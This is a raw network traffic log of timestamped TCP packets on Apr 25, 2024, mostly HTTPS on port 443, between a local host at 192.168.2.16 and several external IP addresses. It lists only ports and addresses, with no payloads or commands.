Apr 25, 2024 15:30:34.070570946 CEST	443	49758	162.247.243.29	192.168.2.16
Apr 25, 2024 15:30:34.070674896 CEST	49758	443	192.168.2.16	162.247.243.29
Apr 25, 2024 15:30:34.074059010 CEST	49758	443	192.168.2.16	162.247.243.29
Apr 25, 2024 15:30:34.074071884 CEST	443	49758	162.247.243.29	192.168.2.16
Apr 25, 2024 15:30:34.126485109 CEST	49759	443	192.168.2.16	5.172.176.24
Apr 25, 2024 15:30:34.126523972 CEST	443	49759	5.172.176.24	192.168.2.16
Apr 25, 2024 15:30:34.126595020 CEST	49759	443	192.168.2.16	5.172.176.24
Apr 25, 2024 15:30:34.126864910 CEST	49759	443	192.168.2.16	5.172.176.24
Apr 25, 2024 15:30:34.126879930 CEST	443	49759	5.172.176.24	192.168.2.16
Apr 25, 2024 15:30:34.127295017 CEST	49760	443	192.168.2.16	5.172.176.24
Apr 25, 2024 15:30:34.127331972 CEST	443	49760	5.172.176.24	192.168.2.16
Apr 25, 2024 15:30:34.127389908 CEST	49760	443	192.168.2.16	5.172.176.24
Apr 25, 2024 15:30:34.127552032 CEST	49760	443	192.168.2.16	5.172.176.24
Apr 25, 2024 15:30:34.127564907 CEST	443	49760	5.172.176.24	192.168.2.16
Apr 25, 2024 15:30:34.301369905 CEST	443	49758	162.247.243.29	192.168.2.16
Apr 25, 2024 15:30:34.301775932 CEST	49758	443	192.168.2.16	162.247.243.29
Apr 25, 2024 15:30:34.301825047 CEST	443	49758	162.247.243.29	192.168.2.16
Apr 25, 2024 15:30:34.303037882 CEST	443	49758	162.247.243.29	192.168.2.16
Apr 25, 2024 15:30:34.303400993 CEST	49758	443	192.168.2.16	162.247.243.29
Apr 25, 2024 15:30:34.303586006 CEST	49758	443	192.168.2.16	162.247.243.29
Apr 25, 2024 15:30:34.303606033 CEST	49758	443	192.168.2.16	162.247.243.29
Apr 25, 2024 15:30:34.303615093 CEST	443	49758	162.247.243.29	192.168.2.16
Apr 25, 2024 15:30:34.303703070 CEST	443	49758	162.247.243.29	192.168.2.16
Apr 25, 2024 15:30:34.344342947 CEST	49758	443	192.168.2.16	162.247.243.29
Apr 25, 2024 15:30:34.537734985 CEST	443	49759	5.172.176.24	192.168.2.16
Apr 25, 2024 15:30:34.538078070 CEST	49759	443	192.168.2.16	5.172.176.24
Apr 25, 2024 15:30:34.538091898 CEST	443	49759	5.172.176.24	192.168.2.16
Apr 25, 2024 15:30:34.539374113 CEST	443	49759	5.172.176.24	192.168.2.16
Apr 25, 2024 15:30:34.539457083 CEST	49759	443	192.168.2.16	5.172.176.24
Apr 25, 2024 15:30:34.540604115 CEST	443	49760	5.172.176.24	192.168.2.16
Apr 25, 2024 15:30:34.540885925 CEST	49760	443	192.168.2.16	5.172.176.24
Apr 25, 2024 15:30:34.540894985 CEST	443	49760	5.172.176.24	192.168.2.16
Apr 25, 2024 15:30:34.542680979 CEST	443	49760	5.172.176.24	192.168.2.16
Apr 25, 2024 15:30:34.542754889 CEST	49760	443	192.168.2.16	5.172.176.24
Apr 25, 2024 15:30:34.543677092 CEST	49760	443	192.168.2.16	5.172.176.24
Apr 25, 2024 15:30:34.543755054 CEST	443	49760	5.172.176.24	192.168.2.16
Apr 25, 2024 15:30:34.543893099 CEST	49759	443	192.168.2.16	5.172.176.24
Apr 25, 2024 15:30:34.543987036 CEST	443	49759	5.172.176.24	192.168.2.16
Apr 25, 2024 15:30:34.544029951 CEST	49760	443	192.168.2.16	5.172.176.24
Apr 25, 2024 15:30:34.544035912 CEST	443	49760	5.172.176.24	192.168.2.16
Apr 25, 2024 15:30:34.571566105 CEST	443	49758	162.247.243.29	192.168.2.16
Apr 25, 2024 15:30:34.571707010 CEST	443	49758	162.247.243.29	192.168.2.16
Apr 25, 2024 15:30:34.571780920 CEST	49758	443	192.168.2.16	162.247.243.29
Apr 25, 2024 15:30:34.572202921 CEST	49758	443	192.168.2.16	162.247.243.29
Apr 25, 2024 15:30:34.572231054 CEST	443	49758	162.247.243.29	192.168.2.16
Apr 25, 2024 15:30:34.597354889 CEST	49759	443	192.168.2.16	5.172.176.24
Apr 25, 2024 15:30:34.597361088 CEST	49760	443	192.168.2.16	5.172.176.24
Apr 25, 2024 15:30:34.597374916 CEST	443	49759	5.172.176.24	192.168.2.16
Apr 25, 2024 15:30:34.645323992 CEST	49759	443	192.168.2.16	5.172.176.24
Apr 25, 2024 15:30:34.680741072 CEST	443	49760	5.172.176.24	192.168.2.16
Apr 25, 2024 15:30:34.680877924 CEST	443	49760	5.172.176.24	192.168.2.16
Apr 25, 2024 15:30:34.680948973 CEST	49760	443	192.168.2.16	5.172.176.24
Apr 25, 2024 15:30:34.681648016 CEST	49760	443	192.168.2.16	5.172.176.24
Apr 25, 2024 15:30:34.681662083 CEST	443	49760	5.172.176.24	192.168.2.16
Apr 25, 2024 15:30:34.990616083 CEST	49761	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:30:34.990669966 CEST	443	49761	172.67.159.67	192.168.2.16
Apr 25, 2024 15:30:34.990751028 CEST	49761	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:30:34.991147041 CEST	49762	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:30:34.991188049 CEST	443	49762	172.67.159.67	192.168.2.16
Apr 25, 2024 15:30:34.991245031 CEST	49762	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:30:34.991369009 CEST	49761	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:30:34.991389036 CEST	443	49761	172.67.159.67	192.168.2.16
Apr 25, 2024 15:30:34.991525888 CEST	49762	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:30:34.991543055 CEST	443	49762	172.67.159.67	192.168.2.16
Apr 25, 2024 15:30:35.227844954 CEST	443	49761	172.67.159.67	192.168.2.16
Apr 25, 2024 15:30:35.228220940 CEST	49761	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:30:35.228271008 CEST	443	49761	172.67.159.67	192.168.2.16
Apr 25, 2024 15:30:35.229835033 CEST	443	49761	172.67.159.67	192.168.2.16
Apr 25, 2024 15:30:35.229916096 CEST	49761	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:30:35.230958939 CEST	49761	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:30:35.231050014 CEST	443	49761	172.67.159.67	192.168.2.16
Apr 25, 2024 15:30:35.231139898 CEST	49761	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:30:35.231156111 CEST	443	49761	172.67.159.67	192.168.2.16
Apr 25, 2024 15:30:35.237957001 CEST	443	49762	172.67.159.67	192.168.2.16
Apr 25, 2024 15:30:35.238151073 CEST	49762	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:30:35.238174915 CEST	443	49762	172.67.159.67	192.168.2.16
Apr 25, 2024 15:30:35.239679098 CEST	443	49762	172.67.159.67	192.168.2.16
Apr 25, 2024 15:30:35.239774942 CEST	49762	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:30:35.240675926 CEST	49762	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:30:35.240763903 CEST	443	49762	172.67.159.67	192.168.2.16
Apr 25, 2024 15:30:35.285345078 CEST	49762	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:30:35.285355091 CEST	443	49762	172.67.159.67	192.168.2.16
Apr 25, 2024 15:30:35.285358906 CEST	49761	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:30:35.333321095 CEST	49762	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:30:35.667336941 CEST	49680	80	192.168.2.16	192.229.211.108
Apr 25, 2024 15:30:35.928997993 CEST	443	49761	172.67.159.67	192.168.2.16
Apr 25, 2024 15:30:35.929049969 CEST	443	49761	172.67.159.67	192.168.2.16
Apr 25, 2024 15:30:35.929084063 CEST	443	49761	172.67.159.67	192.168.2.16
Apr 25, 2024 15:30:35.929146051 CEST	49761	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:30:35.929182053 CEST	443	49761	172.67.159.67	192.168.2.16
Apr 25, 2024 15:30:35.929240942 CEST	49761	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:30:35.929243088 CEST	443	49761	172.67.159.67	192.168.2.16
Apr 25, 2024 15:30:35.929301977 CEST	49761	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:30:35.930037022 CEST	49761	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:30:35.930062056 CEST	443	49761	172.67.159.67	192.168.2.16
Apr 25, 2024 15:30:35.949389935 CEST	49763	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:30:35.949423075 CEST	443	49763	172.67.159.67	192.168.2.16
Apr 25, 2024 15:30:35.949517965 CEST	49763	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:30:35.949543953 CEST	49762	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:30:35.949934006 CEST	49763	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:30:35.949950933 CEST	443	49763	172.67.159.67	192.168.2.16
Apr 25, 2024 15:30:35.996123075 CEST	443	49762	172.67.159.67	192.168.2.16
Apr 25, 2024 15:30:36.055295944 CEST	49764	443	192.168.2.16	151.101.66.137
Apr 25, 2024 15:30:36.055340052 CEST	443	49764	151.101.66.137	192.168.2.16
Apr 25, 2024 15:30:36.055427074 CEST	49764	443	192.168.2.16	151.101.66.137
Apr 25, 2024 15:30:36.055668116 CEST	49764	443	192.168.2.16	151.101.66.137
Apr 25, 2024 15:30:36.055686951 CEST	443	49764	151.101.66.137	192.168.2.16
Apr 25, 2024 15:30:36.059916019 CEST	49765	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:36.059945107 CEST	443	49765	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:36.060008049 CEST	49765	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:36.060163021 CEST	49765	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:36.060173988 CEST	443	49765	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:36.069724083 CEST	443	49762	172.67.159.67	192.168.2.16
Apr 25, 2024 15:30:36.069778919 CEST	443	49762	172.67.159.67	192.168.2.16
Apr 25, 2024 15:30:36.069820881 CEST	443	49762	172.67.159.67	192.168.2.16
Apr 25, 2024 15:30:36.069844007 CEST	49762	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:30:36.069854021 CEST	443	49762	172.67.159.67	192.168.2.16
Apr 25, 2024 15:30:36.069899082 CEST	49762	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:30:36.069905996 CEST	443	49762	172.67.159.67	192.168.2.16
Apr 25, 2024 15:30:36.070031881 CEST	443	49762	172.67.159.67	192.168.2.16
Apr 25, 2024 15:30:36.070089102 CEST	49762	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:30:36.071316957 CEST	49762	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:30:36.071329117 CEST	443	49762	172.67.159.67	192.168.2.16
Apr 25, 2024 15:30:36.071338892 CEST	49762	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:30:36.071381092 CEST	49762	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:30:36.186647892 CEST	443	49763	172.67.159.67	192.168.2.16
Apr 25, 2024 15:30:36.187081099 CEST	49763	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:30:36.187098980 CEST	443	49763	172.67.159.67	192.168.2.16
Apr 25, 2024 15:30:36.188251019 CEST	443	49763	172.67.159.67	192.168.2.16
Apr 25, 2024 15:30:36.188580036 CEST	49763	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:30:36.188750029 CEST	49763	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:30:36.188752890 CEST	443	49763	172.67.159.67	192.168.2.16
Apr 25, 2024 15:30:36.232125998 CEST	443	49763	172.67.159.67	192.168.2.16
Apr 25, 2024 15:30:36.241331100 CEST	49763	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:30:36.297504902 CEST	443	49764	151.101.66.137	192.168.2.16
Apr 25, 2024 15:30:36.297878981 CEST	49764	443	192.168.2.16	151.101.66.137
Apr 25, 2024 15:30:36.297905922 CEST	443	49764	151.101.66.137	192.168.2.16
Apr 25, 2024 15:30:36.298943996 CEST	443	49765	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:36.299141884 CEST	49765	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:36.299160004 CEST	443	49765	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:36.299174070 CEST	443	49764	151.101.66.137	192.168.2.16
Apr 25, 2024 15:30:36.299252987 CEST	49764	443	192.168.2.16	151.101.66.137
Apr 25, 2024 15:30:36.300342083 CEST	49764	443	192.168.2.16	151.101.66.137
Apr 25, 2024 15:30:36.300405025 CEST	443	49764	151.101.66.137	192.168.2.16
Apr 25, 2024 15:30:36.300525904 CEST	49764	443	192.168.2.16	151.101.66.137
Apr 25, 2024 15:30:36.300534010 CEST	443	49764	151.101.66.137	192.168.2.16
Apr 25, 2024 15:30:36.300829887 CEST	443	49765	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:36.300900936 CEST	49765	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:36.301578045 CEST	49765	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:36.301690102 CEST	49765	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:36.301690102 CEST	443	49765	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:36.348118067 CEST	443	49765	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:36.353307962 CEST	49764	443	192.168.2.16	151.101.66.137
Apr 25, 2024 15:30:36.353312969 CEST	49765	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:36.353332043 CEST	443	49765	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:36.400306940 CEST	49765	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:36.457498074 CEST	443	49763	172.67.159.67	192.168.2.16
Apr 25, 2024 15:30:36.457552910 CEST	443	49763	172.67.159.67	192.168.2.16
Apr 25, 2024 15:30:36.457592964 CEST	443	49763	172.67.159.67	192.168.2.16
Apr 25, 2024 15:30:36.457623005 CEST	49763	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:30:36.457639933 CEST	443	49763	172.67.159.67	192.168.2.16
Apr 25, 2024 15:30:36.457683086 CEST	49763	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:30:36.457695007 CEST	443	49763	172.67.159.67	192.168.2.16
Apr 25, 2024 15:30:36.457706928 CEST	443	49763	172.67.159.67	192.168.2.16
Apr 25, 2024 15:30:36.457746029 CEST	49763	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:30:36.458611012 CEST	49763	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:30:36.458625078 CEST	443	49763	172.67.159.67	192.168.2.16
Apr 25, 2024 15:30:36.511511087 CEST	443	49764	151.101.66.137	192.168.2.16
Apr 25, 2024 15:30:36.511698961 CEST	443	49764	151.101.66.137	192.168.2.16
Apr 25, 2024 15:30:36.511770964 CEST	49764	443	192.168.2.16	151.101.66.137
Apr 25, 2024 15:30:36.511787891 CEST	443	49764	151.101.66.137	192.168.2.16
Apr 25, 2024 15:30:36.511818886 CEST	443	49764	151.101.66.137	192.168.2.16
Apr 25, 2024 15:30:36.511868954 CEST	49764	443	192.168.2.16	151.101.66.137
Apr 25, 2024 15:30:36.514903069 CEST	443	49764	151.101.66.137	192.168.2.16
Apr 25, 2024 15:30:36.518538952 CEST	443	49764	151.101.66.137	192.168.2.16
Apr 25, 2024 15:30:36.518620968 CEST	443	49764	151.101.66.137	192.168.2.16
Apr 25, 2024 15:30:36.518651962 CEST	49764	443	192.168.2.16	151.101.66.137
Apr 25, 2024 15:30:36.518663883 CEST	443	49764	151.101.66.137	192.168.2.16
Apr 25, 2024 15:30:36.518718958 CEST	49764	443	192.168.2.16	151.101.66.137
Apr 25, 2024 15:30:36.522234917 CEST	443	49764	151.101.66.137	192.168.2.16
Apr 25, 2024 15:30:36.525862932 CEST	443	49764	151.101.66.137	192.168.2.16
Apr 25, 2024 15:30:36.525927067 CEST	49764	443	192.168.2.16	151.101.66.137
Apr 25, 2024 15:30:36.525937080 CEST	443	49764	151.101.66.137	192.168.2.16
Apr 25, 2024 15:30:36.529545069 CEST	443	49764	151.101.66.137	192.168.2.16
Apr 25, 2024 15:30:36.529603004 CEST	49764	443	192.168.2.16	151.101.66.137
Apr 25, 2024 15:30:36.529612064 CEST	443	49764	151.101.66.137	192.168.2.16
Apr 25, 2024 15:30:36.533195019 CEST	443	49764	151.101.66.137	192.168.2.16
Apr 25, 2024 15:30:36.533260107 CEST	49764	443	192.168.2.16	151.101.66.137
Apr 25, 2024 15:30:36.533269882 CEST	443	49764	151.101.66.137	192.168.2.16
Apr 25, 2024 15:30:36.536880016 CEST	443	49764	151.101.66.137	192.168.2.16
Apr 25, 2024 15:30:36.536942005 CEST	49764	443	192.168.2.16	151.101.66.137
Apr 25, 2024 15:30:36.536950111 CEST	443	49764	151.101.66.137	192.168.2.16
Apr 25, 2024 15:30:36.540472031 CEST	443	49764	151.101.66.137	192.168.2.16
Apr 25, 2024 15:30:36.540530920 CEST	49764	443	192.168.2.16	151.101.66.137
Apr 25, 2024 15:30:36.540539980 CEST	443	49764	151.101.66.137	192.168.2.16
Apr 25, 2024 15:30:36.544075966 CEST	443	49764	151.101.66.137	192.168.2.16
Apr 25, 2024 15:30:36.544131994 CEST	49764	443	192.168.2.16	151.101.66.137
Apr 25, 2024 15:30:36.544138908 CEST	443	49764	151.101.66.137	192.168.2.16
Apr 25, 2024 15:30:36.551350117 CEST	443	49764	151.101.66.137	192.168.2.16
Apr 25, 2024 15:30:36.551418066 CEST	49764	443	192.168.2.16	151.101.66.137
Apr 25, 2024 15:30:36.551429987 CEST	443	49764	151.101.66.137	192.168.2.16
Apr 25, 2024 15:30:36.554088116 CEST	443	49765	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:36.554241896 CEST	443	49765	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:36.554305077 CEST	49765	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:36.554575920 CEST	49765	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:36.554586887 CEST	443	49765	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:36.554599047 CEST	49765	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:36.554637909 CEST	49765	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:36.554986954 CEST	443	49764	151.101.66.137	192.168.2.16
Apr 25, 2024 15:30:36.555037975 CEST	49764	443	192.168.2.16	151.101.66.137
Apr 25, 2024 15:30:36.555046082 CEST	443	49764	151.101.66.137	192.168.2.16
Apr 25, 2024 15:30:36.556205034 CEST	49766	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:36.556246042 CEST	443	49766	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:36.556334972 CEST	49766	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:36.556565046 CEST	49766	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:36.556590080 CEST	443	49766	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:36.558640003 CEST	443	49764	151.101.66.137	192.168.2.16
Apr 25, 2024 15:30:36.558703899 CEST	49764	443	192.168.2.16	151.101.66.137
Apr 25, 2024 15:30:36.558715105 CEST	443	49764	151.101.66.137	192.168.2.16
Apr 25, 2024 15:30:36.602837086 CEST	49767	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:30:36.602870941 CEST	443	49767	104.21.34.108	192.168.2.16
Apr 25, 2024 15:30:36.602967978 CEST	49767	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:30:36.603210926 CEST	49767	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:30:36.603235960 CEST	443	49767	104.21.34.108	192.168.2.16
Apr 25, 2024 15:30:36.607314110 CEST	49764	443	192.168.2.16	151.101.66.137
Apr 25, 2024 15:30:36.620857954 CEST	443	49764	151.101.66.137	192.168.2.16
Apr 25, 2024 15:30:36.637857914 CEST	443	49764	151.101.66.137	192.168.2.16
Apr 25, 2024 15:30:36.637906075 CEST	443	49764	151.101.66.137	192.168.2.16
Apr 25, 2024 15:30:36.637927055 CEST	443	49764	151.101.66.137	192.168.2.16
Apr 25, 2024 15:30:36.637959957 CEST	49764	443	192.168.2.16	151.101.66.137
Apr 25, 2024 15:30:36.637975931 CEST	443	49764	151.101.66.137	192.168.2.16
Apr 25, 2024 15:30:36.637988091 CEST	49764	443	192.168.2.16	151.101.66.137
Apr 25, 2024 15:30:36.637998104 CEST	443	49764	151.101.66.137	192.168.2.16
Apr 25, 2024 15:30:36.638030052 CEST	443	49764	151.101.66.137	192.168.2.16
Apr 25, 2024 15:30:36.638034105 CEST	49764	443	192.168.2.16	151.101.66.137
Apr 25, 2024 15:30:36.638051033 CEST	443	49764	151.101.66.137	192.168.2.16
Apr 25, 2024 15:30:36.638052940 CEST	49764	443	192.168.2.16	151.101.66.137
Apr 25, 2024 15:30:36.638097048 CEST	49764	443	192.168.2.16	151.101.66.137
Apr 25, 2024 15:30:36.652821064 CEST	443	49764	151.101.66.137	192.168.2.16
Apr 25, 2024 15:30:36.652875900 CEST	443	49764	151.101.66.137	192.168.2.16
Apr 25, 2024 15:30:36.652932882 CEST	443	49764	151.101.66.137	192.168.2.16
Apr 25, 2024 15:30:36.652971029 CEST	49764	443	192.168.2.16	151.101.66.137
Apr 25, 2024 15:30:36.652986050 CEST	443	49764	151.101.66.137	192.168.2.16
Apr 25, 2024 15:30:36.653002024 CEST	49764	443	192.168.2.16	151.101.66.137
Apr 25, 2024 15:30:36.666379929 CEST	443	49764	151.101.66.137	192.168.2.16
Apr 25, 2024 15:30:36.666398048 CEST	443	49764	151.101.66.137	192.168.2.16
Apr 25, 2024 15:30:36.666497946 CEST	49764	443	192.168.2.16	151.101.66.137
Apr 25, 2024 15:30:36.666507006 CEST	443	49764	151.101.66.137	192.168.2.16
Apr 25, 2024 15:30:36.666527987 CEST	49764	443	192.168.2.16	151.101.66.137
Apr 25, 2024 15:30:36.669959068 CEST	443	49764	151.101.66.137	192.168.2.16
Apr 25, 2024 15:30:36.670018911 CEST	443	49764	151.101.66.137	192.168.2.16
Apr 25, 2024 15:30:36.670034885 CEST	49764	443	192.168.2.16	151.101.66.137
Apr 25, 2024 15:30:36.670064926 CEST	49764	443	192.168.2.16	151.101.66.137
Apr 25, 2024 15:30:36.670214891 CEST	49764	443	192.168.2.16	151.101.66.137
Apr 25, 2024 15:30:36.670228004 CEST	443	49764	151.101.66.137	192.168.2.16
Apr 25, 2024 15:30:36.781040907 CEST	443	49766	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:36.781501055 CEST	49766	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:36.781533957 CEST	443	49766	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:36.781989098 CEST	443	49766	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:36.782319069 CEST	49766	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:36.782393932 CEST	443	49766	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:36.782614946 CEST	49766	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:36.828115940 CEST	443	49766	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:36.839703083 CEST	443	49767	104.21.34.108	192.168.2.16
Apr 25, 2024 15:30:36.840087891 CEST	49767	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:30:36.840137959 CEST	443	49767	104.21.34.108	192.168.2.16
Apr 25, 2024 15:30:36.845041990 CEST	443	49767	104.21.34.108	192.168.2.16
Apr 25, 2024 15:30:36.845181942 CEST	49767	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:30:36.845511913 CEST	49767	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:30:36.845592976 CEST	443	49767	104.21.34.108	192.168.2.16
Apr 25, 2024 15:30:36.845701933 CEST	49767	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:30:36.845707893 CEST	443	49767	104.21.34.108	192.168.2.16
Apr 25, 2024 15:30:36.894392014 CEST	49767	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:30:37.102791071 CEST	443	49766	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.102857113 CEST	443	49766	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.102899075 CEST	443	49766	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.102917910 CEST	49766	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:37.102929115 CEST	443	49766	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.102941990 CEST	443	49766	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.102972031 CEST	49766	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:37.103060007 CEST	443	49766	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.103100061 CEST	443	49766	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.103108883 CEST	49766	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:37.103121042 CEST	443	49766	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.103159904 CEST	49766	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:37.103168964 CEST	443	49766	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.103691101 CEST	443	49766	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.103725910 CEST	443	49766	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.103741884 CEST	49766	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:37.103750944 CEST	443	49766	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.103799105 CEST	49766	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:37.103806019 CEST	443	49766	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.104490042 CEST	443	49766	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.104530096 CEST	443	49766	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.104543924 CEST	49766	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:37.104552031 CEST	443	49766	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.104594946 CEST	49766	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:37.104603052 CEST	443	49766	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.104669094 CEST	443	49766	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.104707956 CEST	49766	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:37.104717016 CEST	443	49766	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.105792046 CEST	443	49766	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.105830908 CEST	443	49766	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.105845928 CEST	49766	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:37.105854988 CEST	443	49766	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.105892897 CEST	443	49766	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.105894089 CEST	49766	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:37.105906963 CEST	443	49766	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.105947971 CEST	49766	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:37.105956078 CEST	443	49766	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.106456995 CEST	443	49766	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.106502056 CEST	443	49766	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.106508017 CEST	49766	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:37.106520891 CEST	443	49766	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.106564045 CEST	49766	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:37.106570959 CEST	443	49766	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.107204914 CEST	443	49766	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.107239962 CEST	443	49766	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.107255936 CEST	49766	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:37.107264042 CEST	443	49766	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.107300997 CEST	49766	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:37.107307911 CEST	443	49766	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.107348919 CEST	443	49766	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.107404947 CEST	49766	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:37.107554913 CEST	49766	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:37.107568026 CEST	443	49766	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.107827902 CEST	443	49767	104.21.34.108	192.168.2.16
Apr 25, 2024 15:30:37.107986927 CEST	443	49767	104.21.34.108	192.168.2.16
Apr 25, 2024 15:30:37.108025074 CEST	49767	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:30:37.108031988 CEST	443	49767	104.21.34.108	192.168.2.16
Apr 25, 2024 15:30:37.108186960 CEST	443	49767	104.21.34.108	192.168.2.16
Apr 25, 2024 15:30:37.108231068 CEST	49767	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:30:37.110601902 CEST	49767	443	192.168.2.16	104.21.34.108
